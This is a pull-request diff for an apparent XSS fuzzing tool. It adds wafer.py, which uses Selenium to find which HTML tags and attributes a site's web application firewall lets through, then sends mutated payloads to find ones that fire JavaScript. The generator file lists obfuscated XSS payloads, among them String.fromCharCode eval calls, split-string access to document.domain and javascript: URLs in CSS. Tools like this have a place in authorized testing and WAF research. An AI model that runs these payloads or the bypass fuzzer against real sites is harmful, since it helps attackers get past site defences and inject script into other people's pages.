merge dl-dev in neg-dev #2

Closed
negentropy wants to merge 2 commits from dl-dev into neg-dev
7 changed files with 425 additions and 268 deletions
Showing only changes of commit 196ffdcd4f - Show all commits

View File

@ -1,6 +1,7 @@
from language_utils import gen_boolean, gen_color, gen_date, gen_email, \ from language_utils import gen_boolean, gen_color, gen_date, gen_email, \
gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \ gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \
gen_duration
from utils import rndstr, choice from utils import rndstr, choice
from mutations import Mutations from mutations import Mutations
@ -15,6 +16,9 @@ class HTMLTag:
self.nameattr = rndstr(10) self.nameattr = rndstr(10)
self.rndchrpos = {} self.rndchrpos = {}
self.mutator: Mutations = None self.mutator: Mutations = None
self.content = rndstr(10)
self.ids = []
self.names = []
def set_mutator(self, mutator): def set_mutator(self, mutator):
self.mutator = mutator self.mutator = mutator
@ -28,10 +32,11 @@ class HTMLTag:
if self.mutator: if self.mutator:
# mutate attributes # mutate attributes
for attr in self.attributes: for attr in self.attributes:
if attr.attr == AttrType.ATTR_TAG_SPECIFIC: attr.__str__()
if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag:
cases = [ cases = [
lambda x: self.my_mutate_attr(x), lambda x: self.mutator.mutate_attr(x),
lambda x: self.mutator.mutate_attr(x.value), lambda x: self.mutator.mutate_value(x),
] ]
choice(cases)(attr) choice(cases)(attr)
elif attr.attr == AttrType.ATTR_EVENT: elif attr.attr == AttrType.ATTR_EVENT:
@ -53,6 +58,8 @@ class HTMLTag:
for attr in self.attributes: for attr in self.attributes:
tag += f"{attr} " tag += f"{attr} "
tag += ">" tag += ">"
if len(self.children) == 0:
tag += f"{self.content}"
for child in self.children: for child in self.children:
tag += f"{child}" tag += f"{child}"
tag += f"</{self.name}>" tag += f"</{self.name}>"
@ -80,6 +87,7 @@ class HTMLTagAttributeType:
TypeDir = 13 TypeDir = 13
TypeWindowTarget = 14 TypeWindowTarget = 14
TypeAccessKey = 15 TypeAccessKey = 15
TypeDuration = 16
Generators = { Generators = {
@ -99,6 +107,7 @@ Generators = {
HTMLTagAttributeType.TypeDir: gen_dir, HTMLTagAttributeType.TypeDir: gen_dir,
HTMLTagAttributeType.TypeWindowTarget: gen_wtarget, HTMLTagAttributeType.TypeWindowTarget: gen_wtarget,
HTMLTagAttributeType.TypeAccessKey: gen_access_key, HTMLTagAttributeType.TypeAccessKey: gen_access_key,
HTMLTagAttributeType.TypeDuration: gen_duration,
} }

View File

@ -1,20 +1,8 @@
from utils import choice from utils import choice, rndstr
def gen_text(): def gen_text():
cases = { return rndstr(8)
0: lambda: 'alert(0)',
1: lambda: 'prompt\x600\x60',
2: lambda: '"confirm\x600\x60"',
3: lambda: 'window["alert"](0)',
4: lambda: 'window["prompt"](0)',
5: lambda: 'window["confirm"](0)',
6: lambda: '"alert\x600\x60"',
7: lambda: '"prompt\x600\x60"',
8: lambda: '"alert(1)"',
}
return choice(cases)()
def gen_boolean(): def gen_boolean():
@ -25,7 +13,7 @@ def gen_boolean():
3: lambda: 'false', 3: lambda: 'false',
4: lambda: 'null', 4: lambda: 'null',
5: lambda: 'undefined', 5: lambda: 'undefined',
6: lambda: '""', 6: lambda: '',
7: lambda: '0', 7: lambda: '0',
8: lambda: '1', 8: lambda: '1',
} }
@ -37,13 +25,8 @@ def gen_number():
cases = { cases = {
0: lambda: '0', 0: lambda: '0',
1: lambda: '1', 1: lambda: '1',
2: lambda: '0.1', 2: lambda: '2',
3: lambda: '1.1', 3: lambda: '3',
4: lambda: '0x1',
5: lambda: '0b1',
6: lambda: '0o1',
7: lambda: '1e1',
8: lambda: '1e-1',
} }
return choice(cases)() return choice(cases)()
@ -68,17 +51,19 @@ def gen_color():
def gen_javascript(): def gen_javascript():
cases = { cases = {
0: lambda: 'alert(0)', 0: lambda: 'alert(0)',
1: lambda: 'prompt\x600\x60', 1: lambda: 'prompt`0`',
2: lambda: '"confirm\x600\x60"', 2: lambda: 'confirm`0`',
3: lambda: 'window["alert"](0)', 3: lambda: "window['alert'](0)",
4: lambda: 'window["prompt"](0)', 4: lambda: "window['prompt'](0)",
5: lambda: 'window["confirm"](0)', 5: lambda: "window['confirm'](0)",
6: lambda: '"alert\x600\x60"', 6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`',
7: lambda: '"prompt\x600\x60"', 7: lambda: 'Function(`a${`lert\`1\``}`).call``',
8: lambda: '"alert(1)"', 8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//",
9: lambda: 'console.log(alert(1))//', 9: lambda: "eval.call`${'alert\x2823\x29'}`",
10: lambda: 'console.log(alert(1))/*', 10: lambda: '[].sort.call`${alert}23`',
11: lambda: '{1:alert(1)}', 11: lambda: '{1:alert(1)}',
12: lambda: '(()=>{alert`1`})()',
13: lambda: 'x=alert;x(1);',
} }
return choice(cases)() return choice(cases)()
@ -90,6 +75,8 @@ def gen_style():
0: lambda: 'background-image:url("javascript:alert(1)")', 0: lambda: 'background-image:url("javascript:alert(1)")',
1: lambda: 'expression(alert(1))', 1: lambda: 'expression(alert(1))',
2: lambda: 'expression\x600\x60', 2: lambda: 'expression\x600\x60',
3: lambda: 'animation-name:x;animation-duration:0s;',
4: lambda: '@keyframes x{}'
} }
return choice(cases)() return choice(cases)()
@ -119,27 +106,19 @@ def gen_email():
def gen_date(): def gen_date():
return '' return '2020-01-01'
def gen_target(root): def gen_target(tag):
if root is None: if tag is None:
return None return ""
ids = [] return choice(tag.ids)
ids.append(root.id)
for child in root.children:
ids.append(child.id)
return choice(ids)
def gen_name(root): def gen_name(tag):
if root is None: if tag is None:
return None return ""
names = [] return choice(tag.names)
names.append(root.nameattr)
for child in root.children:
names.append(child.nameattr)
return choice(names)
def gen_flag(): def gen_flag():
@ -160,3 +139,7 @@ def gen_wtarget():
def gen_access_key(): def gen_access_key():
return 'X' return 'X'
def gen_duration():
return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"])

View File

@ -15,27 +15,27 @@ class Mutations:
return choice_percent(cases)(attr) return choice_percent(cases)(attr)
def mutate_value(self, value: str): def mutate_value(self, attr):
cases = { cases = {
70: lambda x: x, 70: lambda x: x,
20: self.mutate_value_newline, 20: self.mutate_value_newline,
10: self.mutate_value_unicode, 10: self.mutate_value_unicode,
} }
return choice_percent(cases)(value) return choice_percent(cases)(attr)
def mutate_tag(self, tag): def mutate_tag(self, tag):
cases = { cases = {
70: lambda x: x, 95: lambda x: x,
30: self.mutate_tag_insert_random_pos, 5: self.mutate_tag_insert_random_pos,
} }
return choice_percent(cases)(tag) return choice_percent(cases)(tag)
def mutate_js(self, js: str): def mutate_js(self, js: str):
cases = { cases = {
70: lambda x: x, 95: lambda x: x,
30: self.mutate_js_insert_random_pos, 5: self.mutate_js_insert_random_pos,
} }
return choice_percent(cases)(js) return choice_percent(cases)(js)
@ -60,6 +60,10 @@ class Mutations:
def mutate_value_newline(attr): def mutate_value_newline(attr):
# find a random position in the value # find a random position in the value
# and insert a newline # and insert a newline
if (attr.value is None):
print("attr.value is None")
print(attr)
exit(0)
pos = choice(range(len(attr.value))) pos = choice(range(len(attr.value)))
attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}" attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}"
return attr return attr
@ -84,7 +88,8 @@ class Mutations:
nmutations = choice(range(1, 4)) nmutations = choice(range(1, 4))
for _ in range(nmutations): for _ in range(nmutations):
tag.rndchrpos[pos] = choice_percent(chars)() mut = choice_percent(chars)
tag.rndchrpos[pos] = mut()
return tag return tag

27
tags.py
View File

@ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
Tags = [ Tags = [
HTMLTag('a', self_closing=False), HTMLTag('a', self_closing=False),
HTMLTag('animate', self_closing=True),
HTMLTag('abbr', self_closing=False), HTMLTag('abbr', self_closing=False),
HTMLTag('acronym', self_closing=False), HTMLTag('acronym', self_closing=False),
HTMLTag('address', self_closing=False), HTMLTag('address', self_closing=False),
@ -268,6 +269,15 @@ TagSpecificAttributes = {
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText),
], ],
'animate': [
HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText),
HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText),
HTMLAttribute('begin', HTMLTagAttributeType.TypeText),
HTMLAttribute('by', HTMLTagAttributeType.TypeText),
HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText),
HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration),
HTMLAttribute('end', HTMLTagAttributeType.TypeText),
],
'abbr': [ 'abbr': [
HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('title', HTMLTagAttributeType.TypeText),
], ],
@ -286,7 +296,6 @@ TagSpecificAttributes = {
HTMLAttribute('data', HTMLTagAttributeType.TypeURL), HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('object', HTMLTagAttributeType.TypeURL), HTMLAttribute('object', HTMLTagAttributeType.TypeURL),
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
@ -361,7 +370,6 @@ TagSpecificAttributes = {
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('title', HTMLTagAttributeType.TypeText),
HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText),
@ -442,7 +450,6 @@ TagSpecificAttributes = {
HTMLAttribute('align', HTMLTagAttributeType.TypeText), HTMLAttribute('align', HTMLTagAttributeType.TypeText),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL), HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
@ -451,7 +458,6 @@ TagSpecificAttributes = {
'fieldset': [ 'fieldset': [
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
], ],
'figcaption': [ 'figcaption': [
HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('title', HTMLTagAttributeType.TypeText),
@ -473,7 +479,6 @@ TagSpecificAttributes = {
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
HTMLAttribute('enctype', HTMLTagAttributeType.TypeText), HTMLAttribute('enctype', HTMLTagAttributeType.TypeText),
HTMLAttribute('method', HTMLTagAttributeType.TypeText), HTMLAttribute('method', HTMLTagAttributeType.TypeText),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag), HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
], ],
@ -481,7 +486,6 @@ TagSpecificAttributes = {
HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag), HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber), HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber), HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag), HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText), HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL), HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
@ -537,7 +541,6 @@ TagSpecificAttributes = {
HTMLAttribute('csp', HTMLTagAttributeType.TypeText), HTMLAttribute('csp', HTMLTagAttributeType.TypeText),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('importance', HTMLTagAttributeType.TypeText), HTMLAttribute('importance', HTMLTagAttributeType.TypeText),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText), HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL), HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
@ -556,7 +559,6 @@ TagSpecificAttributes = {
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('loading', HTMLTagAttributeType.TypeText), HTMLAttribute('loading', HTMLTagAttributeType.TypeText),
HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL), HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL), HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
@ -590,7 +592,6 @@ TagSpecificAttributes = {
HTMLAttribute('min', HTMLTagAttributeType.TypeText), HTMLAttribute('min', HTMLTagAttributeType.TypeText),
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('pattern', HTMLTagAttributeType.TypeText), HTMLAttribute('pattern', HTMLTagAttributeType.TypeText),
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
@ -601,6 +602,7 @@ TagSpecificAttributes = {
HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText),
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
], ],
'ins': [ 'ins': [
@ -639,7 +641,6 @@ TagSpecificAttributes = {
HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('title', HTMLTagAttributeType.TypeText),
], ],
'map': [ 'map': [
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
], ],
'mark': [ 'mark': [
HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('title', HTMLTagAttributeType.TypeText),
@ -665,7 +666,6 @@ TagSpecificAttributes = {
HTMLAttribute('charset', HTMLTagAttributeType.TypeText), HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
HTMLAttribute('content', HTMLTagAttributeType.TypeText), HTMLAttribute('content', HTMLTagAttributeType.TypeText),
HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText), HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText),
HTMLAttribute('name', HTMLTagAttributeType.TypeText),
], ],
'meter': [ 'meter': [
HTMLAttribute('high', HTMLTagAttributeType.TypeNumber), HTMLAttribute('high', HTMLTagAttributeType.TypeNumber),
@ -697,7 +697,6 @@ TagSpecificAttributes = {
HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('standby', HTMLTagAttributeType.TypeText), HTMLAttribute('standby', HTMLTagAttributeType.TypeText),
HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
@ -725,13 +724,11 @@ TagSpecificAttributes = {
'output': [ 'output': [
HTMLAttribute('for', HTMLTagAttributeType.TypeName), HTMLAttribute('for', HTMLTagAttributeType.TypeName),
HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
], ],
'p': [ 'p': [
HTMLAttribute('align', HTMLTagAttributeType.TypeText), HTMLAttribute('align', HTMLTagAttributeType.TypeText),
], ],
'param': [ 'param': [
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText),
HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText), HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText),
@ -775,7 +772,6 @@ TagSpecificAttributes = {
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
], ],
@ -857,7 +853,6 @@ TagSpecificAttributes = {
HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),

View File

@ -7,10 +7,12 @@ def rndstr(length):
def choice(arr): def choice(arr):
# randomize seed
return random.choice(arr) return random.choice(arr)
def rndunicode(): def rndunicode():
# randomize seed
return chr(random.randint(0, 0x10FFFF)) return chr(random.randint(0, 0x10FFFF))
@ -25,21 +27,17 @@ def choice_percent(elements):
# } # }
# that means we have 10% chance to get 'a', 20% chance to get 'b', etc. # that means we have 10% chance to get 'a', 20% chance to get 'b', etc.
# get total percent total_percent = sum(elements.keys())
total_percent = 0
for percent in elements:
total_percent += percent
# get random number # get random number
random.seed(int(time.time() * 1000)) rnd = random.randint(1, total_percent)
rnd = random.randint(0, total_percent)
# get action # get action
for percent in elements: cumulative_percent = 0
if rnd < percent: for percent, action in elements.items():
return elements[percent] cumulative_percent += percent
else: if rnd <= cumulative_percent:
rnd -= percent return action
# should not reach here # should not reach here
return None return None

348
wafer.py Normal file
View File

@ -0,0 +1,348 @@
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.chrome import service
from urllib.parse import urlparse
from urllib.parse import urlencode
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
from mutations import Mutations
from utils import choice, choice_percent
from threading import Thread, Lock
import random
import time
# WAFBypass class
class TagList():
def __init__(self, e):
self.l = list(e)
def __str__(self) -> str:
s = ""
for tag in self.l:
s += f"{tag}"
return s
class FuzzQueue():
def __init__(self) -> None:
self.queue = []
self.lock = Lock()
def push(self, tag):
self.lock.acquire()
self.queue.append(tag)
self.lock.release()
def pop(self):
if len(self.queue) == 0:
return None
self.lock.acquire()
element = self.queue.pop()
self.lock.release()
return element
def __len__(self):
return len(self.queue)
class WAFBypass():
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;"
trigger = """
var ids = {0};
for (var i = 0; i < ids.length; i++) {{
var element = document.getElementById(ids[i]);
if(!element) continue;
// trigger all possible events click, mouseover, etc.
var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture'];
try {{
for (var j = 0; j < events.length; j++) {{
var event = new MouseEvent(events[j], {{bubbles: true}});
element.dispatchEvent(event);
}}
element.focus();
element.blur();
// trigger accesskey ctrl+alt+X
element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}}));
}} catch (e) {{}}
}}
"""
def __init__(self, url, param) -> None:
self.param = param
self.options = webdriver.ChromeOptions()
self.options.add_argument('--no-sandbox')
# self.options.add_argument('--headless')
self.options.add_argument('--disable-gpu')
self.options.add_experimental_option(
"excludeSwitches", ["enable-logging"])
self.unfiltered_attributes = {}
self.unfiltered_tags = []
self.driver = webdriver.Chrome(
options=self.options,
service=service.Service(service_args=["--log-path=NUL"]))
self.url = urlparse(url)
self.mutator = Mutations()
self.queue = FuzzQueue()
self.threads = []
self.lock = Lock()
self.payloads = 0
random.seed(time.time_ns())
if not self.check_connection():
raise Exception("Connection Error")
self.driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
def inc_payloads(self):
self.lock.acquire()
self.payloads += 1
self.lock.release()
def check_connection(self):
try:
self.driver.get(self.url.geturl())
return True
except:
return False
def wait_for_pageload(self, driver):
try:
WebDriverWait(driver, 4).until(
lambda driver: driver.execute_script("return document.readyState") == "complete")
except TimeoutError:
raise Exception("Page Load Error")
def get_page_title(self):
return self.driver.title
@property
def is_403(self):
return self.driver.title == "403 Forbidden"
@property
def triggered_xss(self):
return self.driver.execute_script("return window.alert_trigger")
def navigate(self, driver, url):
driver.get(url)
self.wait_for_pageload(driver)
is403 = False
if self.is_403:
is403 = True
else:
is403 = False
triggerxss = self.triggered_xss
return (is403, triggerxss)
def identify_unfiltered_attributes(self):
try:
self.unfiltered_attributes["global"] = []
self.unfiltered_attributes["events"] = []
self.unfiltered_attributes["tag_specific"] = {}
for attr in GlobalAttributes:
encoded = urlencode({self.param: f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_attributes["global"].append(attr)
for attr in EventsAttributes:
encoded = urlencode({self.param: f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_attributes["events"].append(attr)
for tag in self.unfiltered_tags:
if tag not in self.unfiltered_attributes["tag_specific"]:
self.unfiltered_attributes["tag_specific"][tag.name] = []
try:
for attr in TagSpecificAttributes[tag.name]:
encoded = urlencode(
{self.param: f"<{tag.name} {attr}/>"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_attributes["tag_specific"][tag.name].append(
attr)
except KeyError:
print(f"Tag {tag.name} not found in TagSpecificAttributes")
except KeyboardInterrupt:
return
def identify_unfiltered_tags(self):
try:
for tag in Tags:
encoded = urlencode({self.param: f"{tag}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_tags.append(tag)
except KeyboardInterrupt:
return
def dry_run(self):
try:
self.identify_unfiltered_tags()
self.identify_unfiltered_attributes()
except Exception as e:
raise Exception(f"Dry Run Error: {e}")
except KeyboardInterrupt:
return
def get_tag(self):
try:
tag = choice(self.unfiltered_tags)
# make a copy of tag to avoid mutating the original
tag = HTMLTag(tag.name, tag.self_closing)
tag.set_mutator(self.mutator)
nglobattr = choice(range(1, 3))
nattr = choice(range(1, 3))
globals = list(self.unfiltered_attributes["global"])
for _ in range(0, nglobattr):
if len(globals) == 0:
break
attr = choice(globals)
globals.remove(attr)
# make a copy of attr to avoid mutating the original
attr = HTMLAttribute(attr.name, attr.kind,
glob=True, root=None)
tag.add_attribute(attr)
attr = choice(self.unfiltered_attributes["events"])
# make a copy of attr to avoid mutating the original
attr = HTMLAttribute(attr.name, attr.kind,
glob=False, root=None)
tag.add_attribute(attr)
tag_specific = list(
self.unfiltered_attributes["tag_specific"][tag.name])
for _ in range(0, nattr):
if len(tag_specific) == 0:
break
attr = choice(tag_specific)
tag_specific.remove(attr)
# make a copy of attr to avoid mutating the original
attr = HTMLAttribute(attr.name, attr.kind,
glob=False, root=None)
tag.add_attribute(attr)
addchildren = {
70: lambda: False,
30: lambda: True
}
should_add = choice_percent(addchildren)
if (should_add()):
tag.children.append(self.get_tag())
return tag
except KeyboardInterrupt:
return None
def fuzz_thread(self, driver: webdriver.Chrome, started):
driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
while not started:
time.sleep(0.1)
pass
while True:
element = self.queue.pop()
if not element:
break
encoded = urlencode({self.param: f"{element}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, triggered = self.navigate(driver, url)
# close window
driver.close()
def get_tag_id(self, tag):
tag_ids = []
tag_ids.append(tag.id)
if len(tag.children) >= 0:
for child in tag.children:
tag_ids.extend(self.get_tag_id(child))
return tag_ids
def get_tag_name(self, tag):
tag_names = []
tag_names.append(tag.nameattr)
if len(tag.children) >= 0:
for child in tag.children:
tag_names.extend(self.get_tag_name(child))
return tag_names
def get_ids(self, tags):
tag_ids = []
for tag in tags:
tag_ids.extend(self.get_tag_id(tag))
return tag_ids
def get_names(self, tags):
tag_names = []
for tag in tags:
tag_names.extend(self.get_tag_name(tag))
return tag_names
def populate_ids_names(self, tags):
ids = self.get_ids(tags)
names = self.get_names(tags)
def populate(tag, ids=ids, names=names):
tag.ids = ids
tag.names = names
for child in tag.children:
populate(child)
for tag in tags:
populate(tag)
def test(self):
try:
self.dry_run()
print("Starting fuzzer")
while True:
tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))]
self.populate_ids_names(tags)
payload = TagList(tags)
encoded = urlencode({self.param: f"{payload}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, triggered = self.navigate(self.driver, url)
if triggered:
print(f"XSS Payload: {payload}")
self.driver.execute_script(
self.trigger.format(self.get_ids(tags)))
